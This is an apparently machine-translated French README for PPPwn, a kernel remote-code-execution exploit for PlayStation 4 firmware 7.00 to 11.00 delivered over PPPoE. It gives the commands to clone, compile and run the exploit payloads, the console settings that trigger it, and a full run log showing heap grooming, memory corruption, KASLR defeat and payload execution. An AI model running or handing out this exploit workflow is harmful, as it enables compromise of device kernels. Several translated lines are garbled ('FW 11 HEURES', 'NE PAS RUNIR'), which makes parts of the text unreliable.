Pppwn
PPPwn est un exploit d'exécution de code distant du noyau pour PlayStation 4 jusqu'à FW 11.00. Il s'agit d'un exploit de preuve de concept pour CVE-2006-4304...
Choisir une liste...
PPPwn - PlayStation 4 PPPoE RCE
PPPwn est un exploit d'exécution de code distant du noyau pour PlayStation 4 jusqu'à FW 11.00. Il s'agit d'une preuve de principe pourCVE-2006-4304qui a été signalé de façon responsable à PlayStation.
Les versions prises en charge sont:
- FW 7.00 / 7.01 / 7.02
- FW 7.50 / 7.51 / 7.55
- FW 8.00 / 8.01 / 8.03
- FW 8,50 / 8,52
- FW 9.00
- FW 9.03 / 9.04
- FW 9.50 / 9.51 / 9.60
- FW 10,00 / 10,01
- VOIR AUSSI:
- FW 11 HEURES
- plus peut être ajouté (les RP sont les bienvenus)
L'exploit n'est qu'impriméPPPwnedsur votre PS4 comme preuve de concept. Afin de lancer Mira ou des moteurs similaires, lestage2.binla charge utile doit être adaptée.
Exigences
- Un ordinateur avec un port Ethernet
- L'adaptateur USB fonctionne également
- Câble Ethernet
- Linux
- Vous pouvez utiliser VirtualBox pour créer un VM Linux avec
Bridged Adaptercomme adaptateur réseau pour utiliser le port Ethernet dans la VM.
- Vous pouvez utiliser VirtualBox pour créer un VM Linux avec
- Python3 et gcc installés
Utilisation
Sur votre ordinateur, clonez le dépôt :
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Changez le répertoire pour le dépôt cloné :
cd PPPwn
Installez les exigences :
sudo pip install -r requirements.txt
Compiler les charges utiles:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
Pour d'autres firmwares, p.ex. FW 9.00, passezFW=900.
NE PAS RUNIR l'exploit tout de suite (ne pas appuyer sur Entrée) mais préparer cette commande sur votre invite (voirifconfigpour l'interface correcte):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Pour d'autres firmwares, p.ex. FW 9.00, passez--fw=900.
Sur votre PS4 :
-
Allez à
Settingset puisNetwork -
Sélectionner
Set Up Internet connectionet choisirUse a LAN Cable -
Choisir
Customconfigurer et choisirPPPoEpourIP Address Settings -
Saisissez n'importe quoi pour
PPPoE User IDetPPPoE Password -
Choisir
AutomaticpourDNS SettingsetMTU Settings -
Choisir
Do Not UsepourProxy Server -
Maintenant, appuyez simultanément sur le bouton 'X' de votre contrôleur
Test Internet Connectionet 'Entrer' sur votre clavier (sur l'ordinateur vous avez votre script Python prêt à fonctionner).
TOUJOURS, attendez que la console affiche le message « Impossible de se connecter au réseau : (NW-31274-7) » avant d'essayer à nouveau cette injection PPPOE.
Si l'exploit échoue ou que la PS4 s'écrase, vous pouvez sauter la configuration d'Internet et simplement cliquer surTest Internet ConnectionTuez lepppwn.pyscript et l'exécuter à nouveau sur votre ordinateur, puis cliquez surTest Internet Connectionsur votre PS4 : toujours simultanément.
Si l'exploit fonctionne, vous devriez voir une sortie similaire à ci-dessous, et vous devriez voirCannot connect to network.suivie dePPPwnedimprimé sur votre PS4, ou l'inverse.
Exemple lancé
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
Notes pour Mac Apple Silicon Users (arm64 / aarch64)
Le code ne sera pas compilé sur Apple Silicon et nécessite une architecture AMD64.
Il y a une solution de rechange en utilisant docker qui va construire les fichiers binaires requis.
Cloner ce dépôt à votre système mac, puis à partir du dossier repo exécuté./build-macarm.sh. Cela va construire les binaires pour PS4 FW 1100 et placer les fichiers nécessaires dans les dossiers corrects. Pour construire les binaires pour une version différente, soit 900, exécutez la commande en tant que telle :./build-macarm.sh 900. Une fois construit, copiez cette structure de dossier dans la VM Linux et exécutez comme indiqué ci-dessus.
Ceci a été testé en utilisant VMware Fusion 13.5.1, avec le VM Guest comme Ubuntu 24.04, et la machine hôte est MacOS 14.4.1